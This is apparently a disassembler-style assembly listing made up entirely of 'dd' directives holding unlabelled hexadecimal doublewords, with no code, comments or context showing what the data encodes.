		dd 84046C09h, 95008036h, 0BF0944EDh, 0B852EB25h, 59FA24h
		dd 0B1E0AFE1h, 783669CEh, 0A4C42E16h, 70111C00h, 288D38F6h
		dd 4C94C055h, 1E0AC42h,	0A060353Ah, 7AE21D18h, 4FE292h
		dd 20DD5E99h, 4871160Dh, 76C6949h, 0B049A495h, 0D959C650h
		dd 0E8AC0E7Ah, 0A65DF0ECh, 6F18B0F4h, 1F00FF90h, 0AE11A8B5h
		dd 92DBAD8Dh, 1C6C3E58h, 25CCF017h, 8728002Ch, 0E2414606h
		dd 8DDCB109h, 0BD68419Eh, 16AC3064h, 2E33BBAh, 7C80C774h
		dd 713F84C8h, 0A0759230h, 5FCAB9Bh, 448D4626h, 48BC4029h
		dd 9E1B8C50h, 17070905h, 9C922B71h, 20D06834h, 75CEE4EDh
		dd 0D6B60023h, 8F1C9EF9h, 6D672C4Fh, 7A64B968h,	640FC0C1h
		dd 1DB5892h, 0BF27EB80h, 9C60FA66h, 0DD81EDF1h,	6B372C74h
		dd 0FC0860EFh, 49324E0h, 0E4AC2339h, 0B502CC30h, 33EDDB9Ah
		dd 4CC0C213h, 838F0634h, 60C4BB5Ch, 8B042E98h, 0F88A7142h
		dd 0C628DC92h, 8040EE54h, 80EB054h, 83AA1458h, 0C22722BFh
		dd 0CD20C8DAh, 0E67892B3h, 0E5EE17h, 5DFD9689h,	0AFD921E6h
		dd 0D1022890h, 0B702BABEh, 0A1148CF5h, 2ECE80C3h, 0D10435FCh
		dd 0ECEE64C5h, 0C0D004C4h, 0C444B471h, 0B38767A0h, 804F2018h
		dd 80513B58h, 0A89AE8C1h, 60804F25h, 0A0FF17D4h, 0A8C08Dh
		dd 84B82E51h, 5648D12Ah, 0CA428901h, 621715Eh, 0C2695880h
		dd 6A920BE2h, 0D63A3E17h, 1DB4C420h, 813400A1h,	375689C9h
		dd 9338E97Bh, 13E703Bh,	70C18ED1h, 0C74D871Ah, 6F6CAA90h
		dd 6EECF80Dh, 0E9032604h, 0A08799Fh, 1F74C268h,	24DE89h
		dd 3BC5320Ch, 0BD005558h, 77D1A17h, 345D5F7h, 8105E5C1h
		dd 4B7601C5h, 1D2AF507h, 0EBCF1703h, 562886EFh,	402B0118h
		dd 0E831236Ch, 328F46E9h, 55435B1Eh, 1050D90Ch,	0B04107B3h
		dd 39B0424h, 5BA32CD8h,	840F3898h, 0B35C1131h, 6600022Ah
		dd 0AADD0C8Bh, 75D7A15h, 0FFF9F1E9h, 5350B610h,	51663A52h
		dd 8030B300h, 8C0FEDC3h, 24D48A36h, 0C0760F12h,	898305EBh
		dd 4C1807DCh, 0E210E3D0h
		dd 9479C427h, 93BA003Fh, 15713647h, 0A802EAC1h,	24348980h
		dd 9100E0BEh, 0F2311C4Dh, 6D6015Eh, 4C6835Ah, 8B722287h
		dd 0B0C121E6h, 0CD1EE99Ch, 515B8E80h, 0FE2553B9h, 0CF29661Fh
		dd 79A9E68Dh, 33503306h, 0DEEC148Bh, 5251B107h,	79B61FBAh
		dd 6337FAF4h, 0E18954DBh, 80EB07B9h, 5684BD0Eh,	0F2012C42h
		dd 610AFA5Dh, 0EF804272h, 0A39FC36Bh, 0D1408E2Dh, 6001B9B1h
		dd 81468705h, 0C0DF35F1h, 1CD9F716h, 83C1E1D1h,	49E3E907h
		dd 0E6023478h, 88B0F02h, 0EE0E4825h, 0A7900137h, 5EF08932h
		dd 0B4C24148h, 0EAE5105h, 0F8DB9D74h, 0E7EF2CCh, 7B96A3FFh
		dd 0C9E3007h, 83BC4A9h,	0A08BE128h, 8DA48178h, 3702C1FCh
		dd 0BE9CB28h, 815D0461h, 40EF3533h, 3E0C180h, 79565724h
		dd 1AA65407h, 7A3B86F3h, 2BF601ABh, 0D5315659h,	34EBE45Ah
		dd 4B5220Eh, 34A5D429h,	6BC72C8Ah, 0F7241010h, 0F68103DEh
		dd 40C25178h, 15A0CEB0h, 0F2D121Fh, 8D33A97Dh, 0EEE90503h
		dd 4D10050Dh, 218FE380h, 21835874h, 68BD1128h, 8F865731h
		dd 0CFE9C6DFh, 0F506AB4Ah, 347A4849h, 653D3064h, 57DED19h
		dd 178C9158h, 0BF090CFFh, 63AC0D6Ch, 1298FA01h,	29E2EA3h
		dd 64136859h, 0B850FC98h, 10579400h, 0E8D14014h, 0A7D051F7h
		dd 0C2269CC5h, 0CA5B5628h, 20CC81A6h, 505E782Ch, 506807C6h
		dd 1C6953h, 15F7BB24h, 0EBC139ACh, 0E3280373h, 4740C902h
		dd 1DB30335h, 44012142h, 83FB5644h, 51019682h, 88420505h
		dd 680B8102h, 29C42A01h, 72D51D0h, 4023A348h, 0DCFFF61Bh
		dd 1690DD44h, 82F50128h, 59384100h, 48D8F74Ch, 0C4E91840h
		dd 0C083308Fh, 4870212h, 4B8CEA24h, 74325551h, 4C80E3CDh
		dd 1A747F12h, 18001605h, 200D56A5h, 98756032h, 313B0CB4h
		dd 0F0BE2633h, 7004BF2h, 49C1EA81h, 0A21E1FDh, 9BFEE9D5h
		dd 0E6EF84E0h, 0F7D6C148h, 0C00247DFh, 1D238DC7h, 0FA89D303h
		dd 4414D5E9h, 0FC8A333h, 5B6DEE53h, 90179AC4h, 2093C29Fh
		dd 2C5AD009h, 0C98E870Fh, 0EB5D7F0Eh, 3CE5E946h, 0E9C15347h
		dd 2C128A21h, 0F0E90602h, 0F7104954h, 1272FEA4h, 83E04573h
		dd 0E19A1DC1h, 2666D390h, 5F198D90h, 5BAA5C31h,	0BA49F34Bh
		dd 5FE976D8h, 0BF106960h, 7A76708Ah, 6A87304Ch,	2E4C014h
		dd 0FECC801Ch, 2553C45Fh, 0CFCAB958h, 0F38A2CBCh, 33720F68h
		dd 58DD5038h, 5CAB3C83h, 2FBD4AAh, 62E0CF81h, 0C1806FA1h
		dd 0D04526Dh, 67C8E918h, 1EF9BB22h, 8960550Eh, 0C4A7DCABh
		dd 851973E5h, 0C2312200h, 5AD30158h, 5C92A187h,	2AE96A24h
		dd 2CC84829h, 95FD5EBh,	1C866CB1h, 0C718F31Dh, 0F7395758h
		dd 5F0BC2D3h, 83A9C6E9h, 23430400h, 0DAB02B8Eh,	0BF575000h
		dd 5196398Ch, 5D7A30E9h, 0C8845C28h, 0C9DCBDA0h, 0DA68A8C2h
		dd 98CC683Dh, 4914996Eh, 6FA45414h, 5AC059A2h, 0E91408A9h
		dd 24620BD2h, 7519257Eh, 0EE60F90Ch, 333C905Bh,	5A72F15Ch
		dd 0B7EA05B1h, 83E35F0Ch, 0BD401F6Bh, 581A8B70h, 0B8A43AAFh
		dd 0E55E1232h, 114A3F0Dh, 3AE2C734h, 6E8675E6h,	0E9308E0Fh
		dd 0A5BE5602h, 64103853h, 26FF0BD8h, 50033FA4h,	4A8A137Ch
		dd 0F556B386h, 1A9EC100h, 0CF01B192h, 9A27FC59h, 0DA891EE5h
		dd 0C17E65Bh, 0EB812CA3h, 84D1A0C4h, 60C20B13h,	68556EA0h
		dd 30262C7Ah, 2008C027h, 0F8ED8003h, 156774Ch, 20F7DD58h
		dd 3E545855h, 0BBBC229h, 0DB996853h, 830B82D7h,	413302EDh
		dd 6BB3181h, 89AC4841h,	7DEA709Ah, 282E83A4h, 0BA030026h
		dd 5187E46Dh, 4B51AF50h, 42828BEAh, 5E08950h, 3C113AA3h
		dd 0BA54FD60h, 0A57BF4h, 0F3F28138h, 52350446h,	0C173F762h
		dd 0CF8F0708h, 0C8C5C0Ch, 0B60F94C2h, 876B42C8h, 68A13Bh
		dd 0F6E80E2Dh, 0C51F01C3h, 4B895E58h, 283F148Dh, 31FBEFC0h
		dd 0AD38D932h, 44AD2155h, 4D1214DEh, 458A8B98h,	50EEC180h
		dd 1687F605h, 7376B4Ch,	31D107C8h, 819CA5E9h, 314BC36Dh
		dd 0F357C94Ah, 0D0FFCA93h, 0CC17F88h, 0EAD104E2h, 6C2658F6h
		dd 55150D1Dh, 3CD213F4h, 2F966444h, 0B25CAD54h,	52991951h
		dd 0B0319A33h, 685C0D06h, 0BE1758FBh, 9D03D5D0h, 8723522Ch
		dd 52F5B43Dh, 0E47719AFh, 0D74458FEh, 9B528E9Ch, 59F1BF8Fh
		dd 2A57C983h, 69EA7C7Bh, 0DF118387h, 9201C1BEh,	0C849F53Dh
		dd 54F7315Eh, 66C38B42h, 4A068AC7h, 66E9C145h, 3E60F602h
		dd 0DCB89DB4h, 4D26C67Dh, 0F181BDF4h, 1FA82FFAh, 0CE010A60h
		dd 39216A12h, 61CB895Ah, 0E96E0CA5h, 0A7C9E36h,	60EAF01Dh
		dd 10C685A0h, 7851317Ah, 847A2198h, 2909E908h, 7B62C297h
		dd 0CD4B686Dh, 6228FC9Dh, 3C878CE2h, 40E6F269h,	6549CA4Fh
		dd 5762D812h, 9B85F309h, 31F6C17Fh, 7D519388h, 4C53BE14h
		dd 49F903E4h, 8C4558EDh, 1BE44E80h, 0E9151250h,	52075257h
		dd 698D09F7h, 5CC08A06h, 58638760h, 0B3E18951h,	1CE90AB5h
		dd 7AC838C9h, 870622B4h, 0C15CE581h, 21368CE9h,	0F3FC413Ch
		dd 6F2D6704h, 651602CEh, 0B9D93078h, 31F0718Dh,	8F70CF5Ch
		dd 33E2E952h, 220C4027h, 0A40624E9h, 63E39222h,	0C0C8310h
		dd 10164EE9h, 89D402BAh, 0FA01F94Ah, 315D9740h,	6E80E694h
		dd 8859CE30h, 0FE5A1EF4h, 0DA06F9CCh, 0CAFC13E9h, 8376438Ch
		dd 83246A91h, 0B6F036B8h, 2BA8012h, 0B9C35630h,	0A988128h
		dd 44405C3Fh, 11D242F1h, 840F4700h, 4C109A06h, 75283E53h
		dd 96FB0079h, 0D789A4B7h, 0FD0C295Ah, 215369E9h, 70AF0DC3h
		dd 48572E39h, 3194D85Bh, 0B50DB212h, 84301FD3h,	71145CE5h
		dd 50A4B5A7h, 0CA3C8E8Ah, 0D081F425h, 280A5268h, 370C9633h
		dd 3DEB410Eh, 0CFBDFB3Ah, 70ED0198h, 0F2EE5856h, 0EA258362h
		dd 0C709E3D8h, 0B062FB3h, 0ABDE517h, 50457683h,	1A7726EFh
		dd 0EB835A06h, 256D3304h, 832F999Dh, 269C5871h,	71AA4EC5h
		dd 73589096h, 77053F2Fh, 0AC7CE00h, 0D6F75891h,	606C998h
		dd 0A1728B0Fh, 43F6018Fh, 1559804h, 1A0070F0h, 35880F80h
		dd 826CDF4Eh, 0DC717955h, 1AE0D98Dh, 58083A60h,	417DAE88h
		dd 0D1E6E86Ch, 4B69E8C1h, 40924828h, 30F03583h,	74680417h
		dd 0D4CD034Ch, 2CF1519Eh, 1E5A94C7h, 3D44BB53h,	18C20D41h
		dd 5F2469B4h, 42E46560h, 71DC9E19h, 1A270B2Bh, 5E5E4113h
		dd 0AB0D2D95h, 2144E358h, 0FAE8924Bh, 0F2F09874h, 0A0109C70h
		dd 566D02C7h, 1C8B735Fh, 21F3DA44h, 203528h, 66F37AFh
		dd 8A0F0D09h, 0D13F2289h, 0E0C383EEh, 0D6FB3B69h, 214CBA6h
		dd 782740ADh, 0A1C4B384h, 3352078h, 60FE098h, 0CF39B0A7h
		dd 698C4CC8h, 0D8DB50F7h, 0BB6666A4h, 28F10B67h, 0A76808EFh
		dd 8155004Eh, 0AB0E09C7h, 0F7045C76h, 84EB42C9h, 586BA880h
		dd 16F1F41h, 8D1BDFBh, 402A1D20h, 0D9904064h, 6D629931h
		dd 96043FC2h, 0C46B7C08h, 3090496h, 85A63C87h, 98DDEE7Fh
		dd 50560EA6h, 0F5C00A59h, 2401E45h, 30270CC0h, 15018A1Dh
		dd 801AE9EAh, 94D0AA40h, 0B435004Ch, 0C17607DFh, 0BECAE850h
		dd 0BDD08F41h, 4E18265Ch, 0EF6B1A90h, 2F2661h, 945BDE88h
		dd 0B021FADh, 0B0143426h, 0B672F4D3h, 0A6D37A5Ch, 8B12240Ch
		dd 61858692h, 1720175Fh, 0B25A5107h, 130A3334h,	8D5B64F2h
		dd 49A43C62h, 0D3FBC441h, 0F69AB593h, 2A2C847h,	59CA2905h
		dd 988725CDh, 0D028DABBh, 8C0FE97Dh, 0B41EB3D3h, 0C7C28913h
		dd 0D86840ADh, 4074286Dh
		dd 0AA4C01FCh, 95E9DE80h, 0DD363958h, 54B376BEh, 70DE183Ch
		dd 76AC61Dh, 29C53D10h,	0D765D3F3h, 0E1686609h,	71409A0Fh
		dd 584FA4B1h, 3C948DE9h, 30B0B701h, 0E3C05BFCh,	0F3801958h
		dd 5047CCF2h, 2B551F6h,	0E8885007h, 0C540D0F6h,	0B8536658h
		dd 7E8509A4h, 2F043418h, 215A017Ah, 32621C4Fh, 76A6EB2Ah
		dd 68B63259h, 528F3C87h, 20BBDC6Dh, 0F78003DBh,	0AC17B41Ch
		dd 0BF18BFFFh, 0C2F9273Bh, 0C50F7C9Ah, 0E6EB28BBh, 9414E381h
		dd 0D129960Bh, 6D08B93Ch, 5B5A1329h, 15C35C08h,	838CBC59h
		dd 9E26680Ch, 12698539h, 12D4C73Bh, 67DE97A2h, 0BB2AC1F5h
		dd 9B4B3451h, 6DD011Fh,	509BF15Ah, 4E11909Eh, 0F360409Eh
		dd 5471A2B7h, 0BA60E894h, 4C151C07h, 603B968h, 4B23CD63h
		dd 4933038h, 0EDE97069h, 77FFB8D0h, 0BF0B23Ch, 542F23F9h
		dd 43E9B0B8h, 9C5D5940h, 40B088C0h, 0A1F83009h,	0E689569Dh
		dd 6D06468h, 5CD74192h,	0EC0BB050h, 0C348285Eh,	53520304h
		dd 0C7B6EBB7h, 2585FE04h, 16F44D04h, 1374C8B4h,	0D1E9E7Ah
		dd 300D70C6h, 0ACB25E75h, 0C4EF504Ch, 53054CABh, 919F0C54h
		dd 0FB1ECF8Dh, 52C0A513h, 6AFFACBAh, 4A015C7Eh,	607E474Ch
		dd 84ED2B0Dh, 877B4750h, 16286334h, 0A157FC0Bh,	0DF015F29h
		dd 24C642E6h, 31003C70h, 5815E9D2h, 1C1EAEA4h, 1812669Dh
		dd 0CAC12932h, 3F85C0FFh, 2D0EC0FEh, 309F7A81h,	0E84046B8h
		dd 80E707D0h, 3FFE0FC7h, 7C1EC8Bh, 55A03EC1h, 5B54CAFFh
		dd 85410092h, 18E9AB15h, 4A953169h, 0F464EFh, 0E28841F4h
		dd 0F6DA8658h, 4D54D365h, 0CD0036B3h, 5179C86Dh, 6F266BB9h
		dd 0E102F1A0h, 0E1921D29h, 2F74CF04h, 0BD88998Fh, 0C0D74EB0h
		dd 0F9F107E5h, 4DC07492h, 2467045h, 1FF2A058h, 0B6BE0402h
		dd 835D7DE8h, 5F0DA16h,	0CE680129h, 0F83C0826h,	7DB85971h
		dd 10D8034Ch, 4E263C55h, 0C6751735h, 0EE59CC54h, 83C603DAh
		dd 124C940Bh, 203A3F22h, 886CF249h, 0AC9856E6h,	2244802h
		dd 497C2917h, 0FE175E20h, 28F70FCFh, 0F82C213Fh, 0B025C5Fh
		dd 98EA0E9h, 9084063Ah,	0AD66074Fh, 52CC373h, 6822C249h
		dd 0FACF8235h, 85704DE2h, 22815D5Ch, 96EB079Bh,	0B4B55CAAh
		dd 0F7C0B06Bh, 5095D000h, 114173B8h, 9A25007Fh,	356C0D6Dh
		dd 0A713AF80h, 0AF0131ACh, 0A6E9EF01h, 45A8C50h, 0C8281D19h
		dd 59660E2Ch, 5E39D8CBh, 12C8285Ah, 8B004BBAh, 84EA813Bh
		dd 0BA54502Eh, 130A208Ch, 1B7B4A5Ch, 125CCA3Fh,	0C6B08F0Eh
		dd 2AE49EFDh, 155AD524h, 694D4C0Ah, 320A8602h, 3104E113h
		dd 30F059C6h, 7938CF1Eh, 4E0C2C60h, 3F14A11Ah, 0A372C301h
		dd 140C4008h, 20564E58h, 5EF30127h, 0B52CF6B1h,	6B680702h
		dd 1EC7796Eh, 45F34B50h, 4F2D8866h, 50AF22D7h, 295919C7h
		dd 7B469239h, 0ECD19058h, 0F973EE5h, 4C80916h, 1F444A4Eh
		dd 0A10804Ch, 81E6945Ch, 4D782829h, 6DC7FD52h, 0EDC30091h
		dd 29FC226Eh, 96EAFAD9h, 0D3310C22h, 5E9A6992h,	74EB517Eh
		dd 79002DA3h, 5224AF50h, 0C420FF68h, 1D5D8775h,	0D1F7CD06h
		dd 0E5811F08h, 3EB909C3h, 5FB0A803h, 0E7417FE2h, 7E6B604Ah
		dd 38C60CDEh, 0D4387974h, 0FD006504h, 298C1848h, 489859CDh
		dd 0E9305D4Ah, 0BAEBC0E9h, 2242211Dh, 49CEBE81h, 74871D56h
		dd 57436559h, 0CDE9B221h, 4F06C558h, 0F8E18D0Fh, 81F9642h
		dd 0EC4337EFh, 620C4A21h, 9343EA22h, 20884A4Dh,	718412EDh
		dd 64C953Fh, 0A5784947h, 3A01335Ah, 36F2685Eh, 4CC2CE68h
		dd 0AE82BE57h, 6EEC2834h, 9C09745Ah, 50DD5ABAh,	0A652C929h
		dd 0CE91209h, 581A32FBh, 1C4095EEh, 22D86923h, 1D9904CEh
		dd 0D1341491h, 8948C149h, 343066E7h, 33C80C83h,	2DC86A21h
		dd 4025173Dh, 784DB811h, 16987BEEh, 3ABEBCF8h, 0BA066612h
		dd 0B00F0F35h, 2EC65CD3h, 0A80B2C2Dh, 2D55654Eh, 4F7A734Fh
		dd 0AC889435h, 2FEC5932h, 0F4CEF17h, 676641F7h,	0EE3D17F1h
		dd 7288BCE1h, 380811BCh, 60BD2043h, 805B26BEh, 300BD9F2h
		dd 0B8148BD4h, 30CC8695h, 0F608C1FEh, 0B20A52DCh, 0C7D8E990h
		dd 5173BB87h, 0DBF75811h, 7A70AC20h, 0F590578h,	0C8842E80h
		dd 5B122F97h, 3F0518BCh, 0ACDDFB54h, 80C37D31h,	2C5ED189h
		dd 18D65857h, 43EA3F52h, 12FDDBCh, 477F6849h, 77502923h
		dd 992FE0Ah, 0CB7EE91Ch, 7A0BEB6Bh, 2154B0Bh, 3416E8Ch
		dd 0A015CDFEh, 4F95F648h, 0FAB1B805h, 5F7AF9E4h, 6828308Dh
		dd 32955330h, 1D1D7B99h, 225397EBh, 0D2C85B87h,	22BC27E9h
		dd 3802492Ch, 0CE033E68h, 336700CAh, 0F18122B3h, 6D026B55h
		dd 5E890F64h, 8081AF7Fh, 1B19686Fh, 0B1D1092Ch,	0C2495C66h
		dd 56D53879h, 6F347B5Ah, 0C8B20A96h, 5FFB290Fh,	59131AACh
		dd 8CD4F626h, 1887708h,	8664F380h, 0F6EFCBE3h, 10D208D2h
		dd 7302390Dh, 42C1492Eh, 81249072h, 0B8A626DBh,	0B902032Dh
		dd 3655C0E8h, 4E126C1h,	49136Fh, 22DF25DFh, 709801C8h
		dd 5DEE2903h, 271C5B68h, 8482C74Fh, 962FB21h, 3926AD5Ch
		dd 0D210F3E8h, 0E1D74950h, 3F800C20h, 5C2EE8C3h, 8E0F8580h
		dd 0CBA25E6Bh, 9E940AF8h, 58305259h, 2D2A0B48h,	0C78A00E7h
		dd 0E720127Eh, 929C7970h, 0C964BB0Bh, 0E915323Eh, 783F20AFh
		dd 4EDA445Dh, 7F843153h, 4A763F8Bh, 437574EFh, 1B42B8C1h
		dd 650500CFh, 11074F5Eh, 8B79A335h, 0BC20153h, 1CE9505Bh
		dd 0DAF6ADA0h, 3048E280h, 93473EFBh, 0D42175B8h, 0B2074282h
		dd 1A4A1D8Dh, 0D9D26AC2h, 0E97B6661h, 0BEA5BC15h, 0E99C3C15h
		dd 0B52156D7h, 84040313h, 0E487AC7Bh, 4C06FA09h, 255972E2h
		dd 0E30214D3h, 0E50BBBD6h, 0CFDC0C03h, 0A695F61Ah, 0B01F56ECh
		dd 5585A690h, 202A8EC5h, 7CF78022h, 72F4FAE0h, 446FD69h
		dd 12D26BDEh, 44CC7391h, 7737E314h, 82F98A8Eh, 54F97B4h
		dd 12C883C3h, 62B6FB3Ch, 6866025Ch, 408B72Eh, 0A0E9FE30h
		dd 0EF95D1E1h, 89062006h, 71E80F16h, 268CD508h,	66C30160h
		dd 0F1161F68h, 218254D3h, 518B76D6h, 7CBB3A8Fh,	0D30F816Eh
		dd 0C460529Fh, 681B40D2h, 1027ED27h, 9B5F54F4h,	28948B2Ch
		dd 68CF2A49h, 0F6F240FBh, 80309641h, 8E83DC1h, 0A5F2602Eh
		dd 0FA95BEB1h, 1B8A56F9h, 59C913FCh, 5A96A8C0h,	0C4C73437h
		dd 3D9AF364h, 0C9F754D2h, 0AC4CBA6Eh, 0F6430BC4h, 1C689C50h
		dd 51F8005Bh, 0D1F6C9B1h, 1EC18002h, 0F9883BE9h, 224B6A07h
		dd 65B5255Ch, 0DBAB49BAh, 0E8A05BEDh, 9D1E679Eh, 477254Bh
		dd 4EA8CA6Eh, 0E2B583A3h, 63532C5Fh, 0ABEB8180h, 0F6296387h
		dd 82544DD7h, 8468C204h, 0C084EC59h, 640740BFh,	0E9CA0C29h
		dd 311E2D43h, 782EFC9Ah, 876999D4h, 994BD0A3h, 0AD2054BFh
		dd 6AEFDF2Bh, 0D0AEC9A0h, 43311741h, 64033BFh, 14BE10FAh
		dd 8BC3B91Ah, 70C5EADh,	57D2F759h, 8DD46EAh, 143FC0A0h
		dd 0D648D00h, 75F5D4Ch,	9417735h, 0C2294F24h, 81809ED1h
		dd 0C9678FF2h, 2EE9256Ah, 0D829C0C0h, 0DC4DC6EEh, 0B2A2929Eh
		dd 26B3EDCFh, 5690E15Ch, 0B576825h, 84B45F5h, 571D30D4h
		dd 9630788h, 0DD03555Fh, 1D005EE1h, 7EC5BE56h, 81320Bh
		dd 0F352D6EEh, 0E3FBE91Dh, 49B94BA4h, 0A6EC5444h, 0A4EB5BCDh
		dd 1C15007h, 4A6058C3h,	0FB09A002h, 8F3C528Bh, 321C8712h
		dd 8FA7BF90h, 1756255h,	5140377Eh, 0B08895B5h, 0D585248Bh
		dd 4C2EB88Eh, 793E40ADh
		dd 1240BF8h, 82064FAh, 42730CC2h, 4FA140F1h, 0A098950Ah
		dd 45811201h, 8A01F044h, 5E13514Dh, 27609600h, 0E4E6A31h
		dd 4BD53A9Ah, 181B0E60h, 187DE130h, 0C9304090h,	0DBCE0C1Ch
		dd 31700B41h, 40065EF5h, 0BD3CACBFh, 0FA8A9480h, 1F060490h
		dd 0EDFC2304h, 359B660Eh, 0ED28BC9Dh, 1E586008h, 7A2E376Eh
		dd 49D31AC0h, 68010FE1h, 34081CD5h, 1614241Ch, 56FF042Fh
		dd 0B55C0A44h, 0E0C00BC2h, 80C8E909h, 9B9DD368h, 2E55C12Eh
		dd 8C410A63h, 794630F4h, 8BF22649h, 0FBC28979h,	53009459h
		dd 206D39BBh, 0D3F7283Dh, 3CE609FCh, 0DE20687Dh, 0AE24F381h
		dd 0E0AAA225h, 837063C4h, 0CA1362F7h, 29D3C44h,	19310BEEh
		dd 0A2E8E6E9h, 5302CE2Ch, 0D82862B3h, 0B2645A5Bh, 0ADE9133Bh
		dd 8860B25Ch, 754F080Ch, 0F102D432h, 49B81FF7h,	65806E83h
		dd 3EA74325h, 46A0D1B8h, 1383548Bh, 3F417D2h, 5FF82904h
		dd 0F74CC69Ah, 44D6F72Ch, 0CC73CD1Ch, 3ADA1054h, 8F5D24C9h
		dd 0E64A0FEBh, 77A38FF1h, 45F4BE5h, 0EC3C3309h,	7C2FC657h
		dd 7A1770FDh, 57D8E9E8h, 0EB801359h, 89B50BF3h,	0D996EDE2h
		dd 0DD08BB54h, 0EE015B09h, 0A183505Dh, 0A0AFCC53h, 68127B34h
		dd 9347742h, 0E6A46C2h,	0CB8B081h, 34A1EFDCh, 680EF995h
		dd 65307596h, 0D5F75AB7h, 5EA69555h, 54F3DACh, 8E014549h
		dd 3DF7A888h, 0F3DE4D76h, 52009A58h, 0EA806AB2h, 0DA1B8654h
		dd 3E08C3FEh, 0F20F0112h, 7E9C095h, 5C3E2286h, 0A62CD32Ch
		dd 5685239Ah, 194D4FB6h, 0A4396C15h, 102F8A5Fh,	9990DA07h
		dd 0B9518012h, 0AE48F92Dh, 6D43314Fh, 252134E9h, 2D69EE41h
		dd 533F745Ch, 0DDF06877h, 0C31603BCh, 0D1F7A7C7h, 4E69C029h
		dd 0B992975Ah, 255C3D5Ch, 8063C7E9h, 6168A2C0h,	0ED697B4Bh
		dd 0E913EF0Bh, 6017F147h, 0C13DFE23h, 2C730180h, 4C8285Bh
		dd 439152D3h, 638A1719h, 5C4A20F2h, 690BD80h, 0BF5A6541h
		dd 3E900B94h, 2BD54F41h, 0ED2B5869h, 86912262h,	9509F6B7h
		dd 6894814h, 36E15233h,	5314B458h, 30AAB8B7h, 10CD2D5Dh
		dd 5C963B7Ch, 0C2BCF507h, 1C852B4Eh, 77E2AD0Fh,	2116B82Fh
		dd 535AD7C5h, 88FBF470h, 2D1FD2C7h, 7DFB3098h, 0F8132EE9h
		dd 88C388F3h, 0F6108734h, 0B80267F8h, 4D14481Bh, 9D8EBBC1h
		dd 0A4D7CC27h, 0F7424342h, 6130E2DAh, 25D03C60h, 28EF982Bh
		dd 18F7835Ah, 3A9306E9h, 0E3038143h, 46F23D47h,	251EB6C1h
		dd 62231377h, 790030CEh, 49C659F5h, 2630540h, 891CC009h
		dd 4BD458C1h, 2B204A87h, 144C2933h, 0ABD5510h, 30B3E909h
		dd 60FF19E6h, 0D48A0D10h, 98E9503Dh, 2D00DFB4h,	1F3B2E91h
		dd 52D01429h, 0CC5108BAh, 50CE5CEAh, 20B5B555h,	0CA370510h
		dd 623FF6DBh, 0F82116E7h, 6A8284h, 0EF81DF01h, 0BE221764h
		dd 0E83C1D51h, 51BB6B84h, 0ECCA3242h, 7B9AF2CCh, 59636816h
		dd 37A0E08Dh, 0CC90A0h,	511717Dh, 9A70C8BEh, 76E9330Ch
		dd 5D582238h, 0E9F1CF59h, 0DE132B6Ah, 6284AD09h, 0D68A6356h
		dd 0A8989803h, 54F98884h, 99AA352h, 5D6B080Bh, 96929788h
		dd 51EF8B5Eh, 35442EE0h, 6FE2D889h, 0A512413Bh,	0DBBBF54Fh
		dd 2E708411h, 3215A848h, 2912BA10h, 7D47B220h, 0BC1085Bh
		dd 4ACDEF7h, 43E20064h,	0F52996BCh, 78E5E915h, 3AF17683h
		dd 0B4770644h, 539FEBECh, 594649A6h, 78FD9280h,	0DBB642E3h
		dd 28670508h, 20EB01ADh, 0E7D16034h, 9DCFE447h,	3703581Ah
		dd 52A9021Eh, 8BB0C18Eh, 0ADD25AA4h, 5F62E432h,	0F448D259h
		dd 98BF96ADh, 0CD839F30h, 8BAF0E65h, 251DF0Ah, 75F07021h
		dd 3CC28B72h, 0CC37DA68h, 2A40C9Fh, 0F5DA1087h,	205E6400h
		dd 8959CB01h, 96E912DEh, 819A347Bh, 485AFEF2h, 916EAE6h
		dd 0BC09F148h, 0DD0A00C2h, 904A1933h, 0A1EB04ECh, 0C0FA7F1Bh
		dd 0A9480ED7h, 0C6E93E1Dh, 76390A0h, 0C8391E51h, 0E1FACC89h
		dd 0DF6AD70Fh, 1AA71C34h, 57D20244h, 0D95C07C0h, 0A020195Ah
		dd 57C2C1B3h, 79297A79h, 40285CCDh, 14B55A0Bh, 915C5B75h
		dd 3F8821E2h, 778FFF27h, 43BA0081h, 0FE700AD5h,	0F28103DAh
		dd 8F30456h, 23E80C00h,	0E2C1026Fh, 0D784D605h,	0CA4583h
		dd 662BC2D6h, 95BCA4C4h, 0E9DA053Eh, 82582FE8h,	3F527E86h
		dd 0D66B3A87h, 79E4CD02h, 5058D49Ah, 0CB529409h, 5B1F0962h
		dd 27138898h, 9E6F1427h, 0D5E96250h, 0B3F4E3D2h, 5163EABEh
		dd 0A9E39C54h, 50D1011Ah, 0A05E6056h, 266A3E44h, 1E614D16h
		dd 8CA26401h, 5F0BD7F7h, 260C17Dh, 0BA656C96h, 0F9013E2Ch
		dd 0C54FE916h, 0F6890119h, 2021CE69h, 7F3D6C12h, 0CD1FF65Fh
		dd 7CD76AD2h, 0B6F0BC12h, 7ED935F5h, 37D50B14h,	7EAB2CD1h
		dd 50166123h, 2CB28D04h, 0B884FAE8h, 0E0D10756h, 51E38B81h
		dd 0B95B9751h, 58C28800h, 17B8073h, 0AE35662Fh,	1469C8CCh
		dd 1AD6A0B9h, 0E1A4F981h, 0FC6284F7h, 27B2A7B0h, 4DED517Eh
		dd 0C087003Ah, 32043F51h, 0D54765BFh, 31FDC481h, 2520A806h
		dd 0CEFE3C2Dh, 5DBB8012h, 0DEF64D1Fh, 66684204h, 94A35E05h
		dd 4B74247Ch, 53EF6FB3h, 580F8BAh, 4EDC2A70h, 43016390h
		dd 0E9086628h, 743E557Eh, 0A409A876h, 58873CB8h, 2B71EB8Fh
		dd 0B8DB642h, 0FF653D59h, 0ED15E9BDh, 5F93EA57h, 543C0857h
		dd 80C4AF3Ah, 2E27BB44h, 0F75517AAh, 3260BD3h, 4B192F80h
		dd 4A981EFDh, 32E0F305h, 0CFAC5FF2h, 2368664h, 79446468h
		dd 40AAA43Dh, 6602AC05h, 0C8294516h, 4476390Bh,	8CE2946Eh
		dd 0EA3F51B5h, 0B3D8F3A2h, 0C4C52932h, 0F07E4DEh, 0B69BBEEh
		dd 1F29D169h, 0D97F2E50h, 0E81F4EF4h, 0B4CBCF9Dh, 31047A24h
		dd 0F4A5627Dh, 0CC286B1Dh, 6E74E1E9h, 0F0DE9888h, 9DEBA87Ah
		dd 600EFEC3h, 0BE5680B1h, 0A82C2AD2h, 0D928890Dh, 0D672501Eh
		dd 8D1DE984h, 0AC4E9ACh, 0EE4C1F53h, 1BD40B0h, 5C510DF5h
		dd 0F402E5C1h, 0A7D278D2h, 3693FF00h, 0BBA41E4h, 3344EC10h
		dd 0F8C05970h, 4D932F13h, 0EAD16829h, 0E5A1808h, 12262792h
